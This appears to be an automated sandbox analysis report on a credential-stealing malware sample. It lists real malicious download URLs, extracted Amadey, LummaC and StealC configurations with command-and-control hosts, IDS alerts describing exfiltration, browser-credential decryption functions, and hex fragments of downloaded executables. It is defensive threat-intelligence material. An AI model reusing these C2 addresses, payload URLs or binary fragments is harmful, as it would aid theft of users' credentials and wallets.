Source: http://185.215.113.16/off/random.exe7E	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe?.78-	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/apiof	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php)	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exe(	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe#	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe1395d7f	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/fac00b58987e8fcf7b8c730804042ba5ce902415450#	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exeYqKrYrK.(	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phplm	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exe4c61395	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllT	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exec6ncoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/&	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe(	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exeI	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe1395d7	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exerlencoded	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/F	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exer	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/?	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exep	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/mine/random.exeO	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/apinDf	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000015.00000002.1760251445.0000000000151000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 1e42688e0b.exe.7192.30.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["p10tgrace.sbs", "p3ar11fter.sbs", "peepburry828.sbs", "processhol.sbs", "3xp3cts1aim.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: file.exe.6396.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D01A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6D01A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0625B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6D0625B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFE4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6CFE4420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D014440 PK11_PrivDecrypt,	1_2_6D014440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0144C0 PK11_PubEncrypt,	1_2_6D0144C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6CFFE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6D03A730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF8670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6CFF8670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D01A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6D01A650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D040180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	1_2_6D040180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0143B0 PK11_PubEncryptPKCS1,PR_SetError,	1_2_6D0143B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	1_2_6D03BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D037C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	1_2_6D037C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	1_2_6CFF7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D013FF0 PK11_PrivDecryptPKCS1,	1_2_6D013FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D039EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	1_2_6D039EC0

Source: fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_f884d346-1

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.7:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.7:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:53150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:53151 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1759207273.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1759207273.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 29MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49706
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49706
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50123 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:50124
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50126 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50129 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50133 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50136 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50138 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:53155 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50139 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50139 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50130 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50130 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50132 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50132 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 41

Source: global traffic

TCP traffic: 192.168.2.7:53147 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 07:55:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 07:55:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 07:55:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 